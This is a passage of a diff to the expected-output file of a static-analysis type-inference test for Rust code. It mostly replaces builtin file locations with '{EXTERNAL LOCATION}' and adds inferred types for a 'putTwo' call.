SelfParam | A | main.rs:125:5:126:14 | S1 | @@ -136,19 +135,19 @@ inferType | main.rs:152:17:152:33 | MyThing {...} | | main.rs:120:5:123:5 | MyThing | | main.rs:152:17:152:33 | MyThing {...} | A | main.rs:127:5:128:14 | S2 | | main.rs:152:30:152:31 | S2 | | main.rs:127:5:128:14 | S2 | -| main.rs:155:18:155:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:155:18:155:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:155:26:155:26 | x | | main.rs:120:5:123:5 | MyThing | | main.rs:155:26:155:26 | x | A | main.rs:125:5:126:14 | S1 | | main.rs:155:26:155:28 | x.a | | main.rs:125:5:126:14 | S1 | -| main.rs:156:18:156:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:156:18:156:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:156:26:156:26 | y | | main.rs:120:5:123:5 | MyThing | | main.rs:156:26:156:26 | y | A | main.rs:127:5:128:14 | S2 | | main.rs:156:26:156:28 | y.a | | main.rs:127:5:128:14 | S2 | -| main.rs:158:18:158:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:158:18:158:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:158:26:158:26 | x | | main.rs:120:5:123:5 | MyThing | | main.rs:158:26:158:26 | x | A | main.rs:125:5:126:14 | S1 | | main.rs:158:26:158:31 | x.m1() | | main.rs:125:5:126:14 | S1 | -| main.rs:159:18:159:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:159:18:159:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:159:26:159:26 | y | | main.rs:120:5:123:5 | MyThing | | main.rs:159:26:159:26 | y | A | main.rs:127:5:128:14 | S2 | | main.rs:159:26:159:31 | y.m1() | | main.rs:120:5:123:5 | MyThing | @@ -164,11 +163,11 @@ inferType | main.rs:162:17:162:33 | MyThing {...} | | main.rs:120:5:123:5 | MyThing | | main.rs:162:17:162:33 | MyThing {...} | A | main.rs:127:5:128:14 | S2 | | main.rs:162:30:162:31 | S2 | | main.rs:127:5:128:14 | S2 | -| main.rs:164:18:164:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:164:18:164:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:164:26:164:26 | x | | main.rs:120:5:123:5 | MyThing | | main.rs:164:26:164:26 | x | A | main.rs:125:5:126:14 | S1 | | main.rs:164:26:164:31 | x.m2() | | main.rs:125:5:126:14 | S1 | -| main.rs:165:18:165:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:165:18:165:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:165:26:165:26 | y | | main.rs:120:5:123:5 | MyThing | | main.rs:165:26:165:26 | y | A | main.rs:127:5:128:14 | S2 | | main.rs:165:26:165:31 | y.m2() | | main.rs:127:5:128:14 | S2 | @@ -307,11 +306,11 @@ inferType | main.rs:320:24:320:40 | MyThing {...} | | main.rs:170:5:173:5 | MyThing | | main.rs:320:24:320:40 | MyThing {...} | A | main.rs:185:5:186:14 | S3 | | main.rs:320:37:320:38 | S3 | | main.rs:185:5:186:14 | S3 | -| main.rs:324:18:324:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:324:18:324:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:324:26:324:33 | thing_s1 | | main.rs:170:5:173:5 | MyThing | | main.rs:324:26:324:33 | thing_s1 | A | main.rs:181:5:182:14 | S1 | | main.rs:324:26:324:38 | thing_s1.m1() | | main.rs:181:5:182:14 | S1 | -| main.rs:325:18:325:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:325:18:325:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:325:26:325:33 | thing_s2 | | main.rs:170:5:173:5 | MyThing | | main.rs:325:26:325:33 | thing_s2 | A | main.rs:183:5:184:14 | S2 | | main.rs:325:26:325:38 | thing_s2.m1() | | main.rs:170:5:173:5 | MyThing | @@ -321,7 +320,7 @@ inferType | main.rs:326:22:326:29 | thing_s3 | | main.rs:170:5:173:5 | MyThing | | main.rs:326:22:326:29 | thing_s3 | A | main.rs:185:5:186:14 | S3 | | main.rs:326:22:326:34 | thing_s3.m1() | | main.rs:185:5:186:14 | S3 | -| main.rs:327:18:327:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:327:18:327:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:327:26:327:27 | s3 | | main.rs:185:5:186:14 | S3 | | main.rs:329:13:329:14 | p1 | | main.rs:175:5:179:5 | MyPair | | main.rs:329:13:329:14 | p1 | P1 | main.rs:181:5:182:14 | S1 | @@ -331,7 +330,7 @@ inferType | main.rs:329:18:329:42 | MyPair {...} | P2 | main.rs:181:5:182:14 | S1 | | main.rs:329:31:329:32 | S1 | | main.rs:181:5:182:14 | S1 | | main.rs:329:39:329:40 | S1 | | main.rs:181:5:182:14 | S1 | -| main.rs:330:18:330:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:330:18:330:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:330:26:330:27 | p1 | | main.rs:175:5:179:5 | MyPair | | main.rs:330:26:330:27 | p1 | P1 | main.rs:181:5:182:14 | S1 | | main.rs:330:26:330:27 | p1 | P2 | main.rs:181:5:182:14 | S1 | @@ -344,7 +343,7 @@ inferType | main.rs:332:18:332:42 | MyPair {...} | P2 | main.rs:183:5:184:14 | S2 | | main.rs:332:31:332:32 | S1 | | main.rs:181:5:182:14 | S1 | | main.rs:332:39:332:40 | S2 | | main.rs:183:5:184:14 | S2 | -| main.rs:333:18:333:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:333:18:333:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:333:26:333:27 | p2 | | main.rs:175:5:179:5 | MyPair | | main.rs:333:26:333:27 | p2 | P1 | main.rs:181:5:182:14 | S1 | | main.rs:333:26:333:27 | p2 | P2 | main.rs:183:5:184:14 | S2 | @@ -361,7 +360,7 @@ inferType | main.rs:336:17:336:33 | MyThing {...} | A | main.rs:181:5:182:14 | S1 | | main.rs:336:30:336:31 | S1 | | main.rs:181:5:182:14 | S1 | | main.rs:337:17:337:18 | S3 | | main.rs:185:5:186:14 | S3 | -| main.rs:339:18:339:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:339:18:339:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:339:26:339:27 | p3 | | main.rs:175:5:179:5 | MyPair | | main.rs:339:26:339:27 | p3 | P1 | main.rs:170:5:173:5 | MyThing | | main.rs:339:26:339:27 | p3 | P1.A | main.rs:181:5:182:14 | S1 | @@ -380,14 +379,14 @@ inferType | main.rs:343:17:343:17 | a | P1 | main.rs:181:5:182:14 | S1 | | main.rs:343:17:343:17 | a | P2 | main.rs:181:5:182:14 | S1 | | main.rs:343:17:343:23 | a.fst() | | main.rs:181:5:182:14 | S1 | -| main.rs:344:18:344:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:344:18:344:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:344:26:344:26 | x | | main.rs:181:5:182:14 | S1 | | main.rs:345:13:345:13 | y | | main.rs:181:5:182:14 | S1 | | main.rs:345:17:345:17 | a | | main.rs:175:5:179:5 | MyPair | | main.rs:345:17:345:17 | a | P1 | main.rs:181:5:182:14 | S1 | | main.rs:345:17:345:17 | a | P2 | main.rs:181:5:182:14 | S1 | | main.rs:345:17:345:23 | a.snd() | | main.rs:181:5:182:14 | S1 | -| main.rs:346:18:346:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:346:18:346:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:346:26:346:26 | y | | main.rs:181:5:182:14 | S1 | | main.rs:352:13:352:13 | b | | main.rs:175:5:179:5 | MyPair | | main.rs:352:13:352:13 | b | P1 | main.rs:183:5:184:14 | S2 | @@ -402,20 +401,20 @@ inferType | main.rs:353:17:353:17 | b | P1 | main.rs:183:5:184:14 | S2 | | main.rs:353:17:353:17 | b | P2 | main.rs:181:5:182:14 | S1 | | main.rs:353:17:353:23 | b.fst() | | main.rs:181:5:182:14 | S1 | -| main.rs:354:18:354:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:354:18:354:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:354:26:354:26 | x | | main.rs:181:5:182:14 | S1 | | main.rs:355:13:355:13 | y | | main.rs:183:5:184:14 | S2 | | main.rs:355:17:355:17 | b | | main.rs:175:5:179:5 | MyPair | | main.rs:355:17:355:17 | b | P1 | main.rs:183:5:184:14 | S2 | | main.rs:355:17:355:17 | b | P2 | main.rs:181:5:182:14 | S1 | | main.rs:355:17:355:23 | b.snd() | | main.rs:183:5:184:14 | S2 | -| main.rs:356:18:356:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:356:18:356:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:356:26:356:26 | y | | main.rs:183:5:184:14 | S2 | | main.rs:360:13:360:13 | x | | main.rs:181:5:182:14 | S1 | | main.rs:360:17:360:39 | call_trait_m1(...) | | main.rs:181:5:182:14 | S1 | | main.rs:360:31:360:38 | thing_s1 | | main.rs:170:5:173:5 | MyThing | | main.rs:360:31:360:38 | thing_s1 | A | main.rs:181:5:182:14 | S1 | -| main.rs:361:18:361:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:361:18:361:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:361:26:361:26 | x | | main.rs:181:5:182:14 | S1 | | main.rs:362:13:362:13 | y | | main.rs:170:5:173:5 | MyThing | | main.rs:362:13:362:13 | y | A | main.rs:183:5:184:14 | S2 | @@ -423,7 +422,7 @@ inferType | main.rs:362:17:362:39 | call_trait_m1(...) | A | main.rs:183:5:184:14 | S2 | | main.rs:362:31:362:38 | thing_s2 | | main.rs:170:5:173:5 | MyThing | | main.rs:362:31:362:38 | thing_s2 | A | main.rs:183:5:184:14 | S2 | -| main.rs:363:18:363:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:363:18:363:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:363:26:363:26 | y | | main.rs:170:5:173:5 | MyThing | | main.rs:363:26:363:26 | y | A | main.rs:183:5:184:14 | S2 | | main.rs:363:26:363:28 | y.a | | main.rs:183:5:184:14 | S2 | @@ -440,14 +439,14 @@ inferType | main.rs:367:25:367:25 | a | | main.rs:175:5:179:5 | MyPair | | main.rs:367:25:367:25 | a | P1 | main.rs:181:5:182:14 | S1 | | main.rs:367:25:367:25 | a | P2 | main.rs:181:5:182:14 | S1 | -| main.rs:368:18:368:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:368:18:368:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:368:26:368:26 | x | | main.rs:181:5:182:14 | S1 | | main.rs:369:13:369:13 | y | | main.rs:181:5:182:14 | S1 | | main.rs:369:17:369:26 | get_snd(...) | | main.rs:181:5:182:14 | S1 | | main.rs:369:25:369:25 | a | | main.rs:175:5:179:5 | MyPair | | main.rs:369:25:369:25 | a | P1 | main.rs:181:5:182:14 | S1 | | main.rs:369:25:369:25 | a | P2 | main.rs:181:5:182:14 | S1 | -| main.rs:370:18:370:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:370:18:370:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:370:26:370:26 | y | | main.rs:181:5:182:14 | S1 | | main.rs:373:13:373:13 | b | | main.rs:175:5:179:5 | MyPair | | main.rs:373:13:373:13 | b | P1 | main.rs:183:5:184:14 | S2 | @@ -462,14 +461,14 @@ inferType | main.rs:374:25:374:25 | b | | main.rs:175:5:179:5 | MyPair | | main.rs:374:25:374:25 | b | P1 | main.rs:183:5:184:14 | S2 | | main.rs:374:25:374:25 | b | P2 | main.rs:181:5:182:14 | S1 | -| main.rs:375:18:375:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:375:18:375:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:375:26:375:26 | x | | main.rs:181:5:182:14 | S1 | | main.rs:376:13:376:13 | y | | main.rs:183:5:184:14 | S2 | | main.rs:376:17:376:26 | get_snd(...) | | main.rs:183:5:184:14 | S2 | | main.rs:376:25:376:25 | b | | main.rs:175:5:179:5 | MyPair | | main.rs:376:25:376:25 | b | P1 | main.rs:183:5:184:14 | S2 | | main.rs:376:25:376:25 | b | P2 | main.rs:181:5:182:14 | S1 | -| main.rs:377:18:377:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:377:18:377:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:377:26:377:26 | y | | main.rs:183:5:184:14 | S2 | | main.rs:379:13:379:13 | c | | main.rs:175:5:179:5 | MyPair | | main.rs:379:13:379:13 | c | P1 | main.rs:185:5:186:14 | S3 | @@ -510,11 +509,11 @@ inferType | main.rs:398:34:398:35 | s1 | | main.rs:392:5:393:14 | S1 | | main.rs:403:26:403:29 | SelfParam | | main.rs:392:5:393:14 | S1 | | main.rs:403:38:405:9 | { ... } | | main.rs:392:5:393:14 | S1 | -| main.rs:404:20:404:31 | "not called" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:404:20:404:31 | "not called" | | {EXTERNAL LOCATION} | str | | main.rs:408:28:408:31 | SelfParam | | main.rs:392:5:393:14 | S1 | | main.rs:408:34:408:35 | s1 | | main.rs:392:5:393:14 | S1 | | main.rs:408:48:410:9 | { ... } | | main.rs:392:5:393:14 | S1 | -| main.rs:409:20:409:31 | "not called" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:409:20:409:31 | "not called" | | {EXTERNAL LOCATION} | str | | main.rs:415:26:415:29 | SelfParam | | main.rs:392:5:393:14 | S1 | | main.rs:415:38:417:9 | { ... } | | main.rs:392:5:393:14 | S1 | | main.rs:416:13:416:16 | self | | main.rs:392:5:393:14 | S1 | @@ -523,10 +522,10 @@ inferType | main.rs:421:13:421:16 | self | | main.rs:392:5:393:14 | S1 | | main.rs:426:13:426:13 | x | | main.rs:392:5:393:14 | S1 | | main.rs:426:17:426:18 | S1 | | main.rs:392:5:393:14 | S1 | -| main.rs:427:18:427:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:427:18:427:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:427:26:427:26 | x | | main.rs:392:5:393:14 | S1 | | main.rs:427:26:427:42 | x.common_method() | | main.rs:392:5:393:14 | S1 | -| main.rs:428:18:428:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:428:18:428:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:428:26:428:26 | x | | main.rs:392:5:393:14 | S1 | | main.rs:428:26:428:44 | x.common_method_2() | | main.rs:392:5:393:14 | S1 | | main.rs:445:19:445:22 | SelfParam | | main.rs:443:5:446:5 | Self [trait FirstTrait] | @@ -535,25 +534,25 @@ inferType | main.rs:455:13:455:14 | s1 | | main.rs:453:35:453:42 | I | | main.rs:455:18:455:18 | x | | main.rs:453:45:453:61 | T | | main.rs:455:18:455:27 | x.method() | | main.rs:453:35:453:42 | I | -| main.rs:456:18:456:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:456:18:456:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:456:26:456:27 | s1 | | main.rs:453:35:453:42 | I | | main.rs:459:65:459:65 | x | | main.rs:459:46:459:62 | T | | main.rs:461:13:461:14 | s2 | | main.rs:459:36:459:43 | I | | main.rs:461:18:461:18 | x | | main.rs:459:46:459:62 | T | | main.rs:461:18:461:27 | x.method() | | main.rs:459:36:459:43 | I | -| main.rs:462:18:462:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:462:18:462:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:462:26:462:27 | s2 | | main.rs:459:36:459:43 | I | | main.rs:465:49:465:49 | x | | main.rs:465:30:465:46 | T | | main.rs:466:13:466:13 | s | | main.rs:435:5:436:14 | S1 | | main.rs:466:17:466:17 | x | | main.rs:465:30:465:46 | T | | main.rs:466:17:466:26 | x.method() | | main.rs:435:5:436:14 | S1 | -| main.rs:467:18:467:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:467:18:467:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:467:26:467:26 | s | | main.rs:435:5:436:14 | S1 | | main.rs:470:53:470:53 | x | | main.rs:470:34:470:50 | T | | main.rs:471:13:471:13 | s | | main.rs:435:5:436:14 | S1 | | main.rs:471:17:471:17 | x | | main.rs:470:34:470:50 | T | | main.rs:471:17:471:26 | x.method() | | main.rs:435:5:436:14 | S1 | -| main.rs:472:18:472:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:472:18:472:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:472:26:472:26 | s | | main.rs:435:5:436:14 | S1 | | main.rs:476:16:476:19 | SelfParam | | main.rs:475:5:479:5 | Self [trait Pair] | | main.rs:478:16:478:19 | SelfParam | | main.rs:475:5:479:5 | Self [trait Pair] | @@ -565,7 +564,7 @@ inferType | main.rs:484:13:484:14 | s2 | | main.rs:438:5:439:14 | S2 | | main.rs:484:18:484:18 | y | | main.rs:481:41:481:55 | T | | main.rs:484:18:484:24 | y.snd() | | main.rs:438:5:439:14 | S2 | -| main.rs:485:18:485:29 | "{:?}, {:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:485:18:485:29 | "{:?}, {:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:485:32:485:33 | s1 | | main.rs:435:5:436:14 | S1 | | main.rs:485:36:485:37 | s2 | | main.rs:438:5:439:14 | S2 | | main.rs:488:69:488:69 | x | | main.rs:488:52:488:66 | T | @@ -576,7 +575,7 @@ inferType | main.rs:491:13:491:14 | s2 | | main.rs:488:41:488:49 | T2 | | main.rs:491:18:491:18 | y | | main.rs:488:52:488:66 | T | | main.rs:491:18:491:24 | y.snd() | | main.rs:488:41:488:49 | T2 | -| main.rs:492:18:492:29 | "{:?}, {:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:492:18:492:29 | "{:?}, {:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:492:32:492:33 | s1 | | main.rs:435:5:436:14 | S1 | | main.rs:492:36:492:37 | s2 | | main.rs:488:41:488:49 | T2 | | main.rs:508:15:508:18 | SelfParam | | main.rs:507:5:516:5 | Self [trait MyTrait] | @@ -611,11 +610,11 @@ inferType | main.rs:536:17:536:33 | MyThing {...} | | main.rs:497:5:500:5 | MyThing | | main.rs:536:17:536:33 | MyThing {...} | T | main.rs:504:5:505:14 | S2 | | main.rs:536:30:536:31 | S2 | | main.rs:504:5:505:14 | S2 | -| main.rs:538:18:538:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:538:18:538:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:538:26:538:26 | x | | main.rs:497:5:500:5 | MyThing | | main.rs:538:26:538:26 | x | T | main.rs:502:5:503:14 | S1 | | main.rs:538:26:538:31 | x.m1() | | main.rs:502:5:503:14 | S1 | -| main.rs:539:18:539:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:539:18:539:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:539:26:539:26 | y | | main.rs:497:5:500:5 | MyThing | | main.rs:539:26:539:26 | y | T | main.rs:504:5:505:14 | S2 | | main.rs:539:26:539:31 | y.m1() | | main.rs:504:5:505:14 | S2 | @@ -629,11 +628,11 @@ inferType | main.rs:542:17:542:33 | MyThing {...} | | main.rs:497:5:500:5 | MyThing | | main.rs:542:17:542:33 | MyThing {...} | T | main.rs:504:5:505:14 | S2 | | main.rs:542:30:542:31 | S2 | | main.rs:504:5:505:14 | S2 | -| main.rs:544:18:544:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:544:18:544:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:544:26:544:26 | x | | main.rs:497:5:500:5 | MyThing | | main.rs:544:26:544:26 | x | T | main.rs:502:5:503:14 | S1 | | main.rs:544:26:544:31 | x.m2() | | main.rs:502:5:503:14 | S1 | -| main.rs:545:18:545:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:545:18:545:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:545:26:545:26 | y | | main.rs:497:5:500:5 | MyThing | | main.rs:545:26:545:26 | y | T | main.rs:504:5:505:14 | S2 | | main.rs:545:26:545:31 | y.m2() | | main.rs:504:5:505:14 | S2 | @@ -647,11 +646,11 @@ inferType | main.rs:548:18:548:34 | MyThing {...} | | main.rs:497:5:500:5 | MyThing | | main.rs:548:18:548:34 | MyThing {...} | T | main.rs:504:5:505:14 | S2 | | main.rs:548:31:548:32 | S2 | | main.rs:504:5:505:14 | S2 | -| main.rs:550:18:550:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:550:18:550:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:550:26:550:42 | call_trait_m1(...) | | main.rs:502:5:503:14 | S1 | | main.rs:550:40:550:41 | x2 | | main.rs:497:5:500:5 | MyThing | | main.rs:550:40:550:41 | x2 | T | main.rs:502:5:503:14 | S1 | -| main.rs:551:18:551:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:551:18:551:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:551:26:551:42 | call_trait_m1(...) | | main.rs:504:5:505:14 | S2 | | main.rs:551:40:551:41 | y2 | | main.rs:497:5:500:5 | MyThing | | main.rs:551:40:551:41 | y2 | T | main.rs:504:5:505:14 | S2 | @@ -678,14 +677,14 @@ inferType | main.rs:560:37:560:38 | x3 | | main.rs:497:5:500:5 | MyThing | | main.rs:560:37:560:38 | x3 | T | main.rs:497:5:500:5 | MyThing | | main.rs:560:37:560:38 | x3 | T.T | main.rs:502:5:503:14 | S1 | -| main.rs:561:18:561:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:561:18:561:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:561:26:561:26 | a | | main.rs:502:5:503:14 | S1 | | main.rs:562:13:562:13 | b | | main.rs:504:5:505:14 | S2 | | main.rs:562:17:562:39 | call_trait_thing_m1(...) | | main.rs:504:5:505:14 | S2 | | main.rs:562:37:562:38 | y3 | | main.rs:497:5:500:5 | MyThing | | main.rs:562:37:562:38 | y3 | T | main.rs:497:5:500:5 | MyThing | | main.rs:562:37:562:38 | y3 | T.T | main.rs:504:5:505:14 | S2 | -| main.rs:563:18:563:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:563:18:563:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:563:26:563:26 | b | | main.rs:504:5:505:14 | S2 | | main.rs:574:19:574:22 | SelfParam | | main.rs:568:5:571:5 | Wrapper | | main.rs:574:19:574:22 | SelfParam | A | main.rs:573:10:573:10 | A | @@ -759,7 +758,7 @@ inferType | main.rs:681:13:681:14 | S2 | | main.rs:622:5:623:14 | S2 | | main.rs:686:13:686:14 | x1 | | main.rs:619:5:620:13 | S | | main.rs:686:18:686:18 | S | | main.rs:619:5:620:13 | S | -| main.rs:688:18:688:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:688:18:688:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:688:26:688:27 | x1 | | main.rs:619:5:620:13 | S | | main.rs:688:26:688:32 | x1.m1() | | main.rs:625:5:626:14 | AT | | main.rs:690:13:690:14 | x2 | | main.rs:619:5:620:13 | S | @@ -767,31 +766,34 @@ inferType | main.rs:692:13:692:13 | y | | main.rs:625:5:626:14 | AT | | main.rs:692:17:692:18 | x2 | | main.rs:619:5:620:13 | S | | main.rs:692:17:692:23 | x2.m2() | | main.rs:625:5:626:14 | AT | -| main.rs:693:18:693:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:693:18:693:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:693:26:693:26 | y | | main.rs:625:5:626:14 | AT | | main.rs:695:13:695:14 | x3 | | main.rs:619:5:620:13 | S | | main.rs:695:18:695:18 | S | | main.rs:619:5:620:13 | S | -| main.rs:697:18:697:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:697:18:697:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:697:26:697:27 | x3 | | main.rs:619:5:620:13 | S | | main.rs:697:26:697:34 | x3.put(...) | | main.rs:568:5:571:5 | Wrapper | -| main.rs:697:26:697:34 | x3.put(...) | A | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:697:26:697:43 | ... .unwrap() | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:697:33:697:33 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:700:18:700:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:697:26:697:34 | x3.put(...) | A | {EXTERNAL LOCATION} | i32 | +| main.rs:697:26:697:43 | ... .unwrap() | | {EXTERNAL LOCATION} | i32 | +| main.rs:697:33:697:33 | 1 | | {EXTERNAL LOCATION} | i32 | +| main.rs:700:18:700:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:700:26:700:27 | x3 | | main.rs:619:5:620:13 | S | -| main.rs:700:36:700:36 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:700:39:700:39 | 3 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:700:26:700:40 | x3.putTwo(...) | | main.rs:568:5:571:5 | Wrapper | +| main.rs:700:26:700:40 | x3.putTwo(...) | A | main.rs:639:36:639:50 | AssociatedParam | +| main.rs:700:26:700:49 | ... .unwrap() | | main.rs:639:36:639:50 | AssociatedParam | +| main.rs:700:36:700:36 | 2 | | {EXTERNAL LOCATION} | i32 | +| main.rs:700:39:700:39 | 3 | | {EXTERNAL LOCATION} | i32 | | main.rs:702:20:702:20 | S | | main.rs:619:5:620:13 | S | -| main.rs:703:18:703:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:703:18:703:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:705:13:705:14 | x5 | | main.rs:622:5:623:14 | S2 | | main.rs:705:18:705:19 | S2 | | main.rs:622:5:623:14 | S2 | -| main.rs:706:18:706:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:706:18:706:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:706:26:706:27 | x5 | | main.rs:622:5:623:14 | S2 | | main.rs:706:26:706:32 | x5.m1() | | main.rs:568:5:571:5 | Wrapper | | main.rs:706:26:706:32 | x5.m1() | A | main.rs:622:5:623:14 | S2 | | main.rs:707:13:707:14 | x6 | | main.rs:622:5:623:14 | S2 | | main.rs:707:18:707:19 | S2 | | main.rs:622:5:623:14 | S2 | -| main.rs:708:18:708:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:708:18:708:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:708:26:708:27 | x6 | | main.rs:622:5:623:14 | S2 | | main.rs:708:26:708:32 | x6.m2() | | main.rs:568:5:571:5 | Wrapper | | main.rs:708:26:708:32 | x6.m2() | A | main.rs:622:5:623:14 | S2 | @@ -824,11 +826,11 @@ inferType | main.rs:739:17:739:36 | ...::C2 {...} | | main.rs:717:5:721:5 | MyEnum | | main.rs:739:17:739:36 | ...::C2 {...} | A | main.rs:725:5:726:14 | S2 | | main.rs:739:33:739:34 | S2 | | main.rs:725:5:726:14 | S2 | -| main.rs:741:18:741:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:741:18:741:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:741:26:741:26 | x | | main.rs:717:5:721:5 | MyEnum | | main.rs:741:26:741:26 | x | A | main.rs:723:5:724:14 | S1 | | main.rs:741:26:741:31 | x.m1() | | main.rs:723:5:724:14 | S1 | -| main.rs:742:18:742:23 | "{:?}\\n" | | 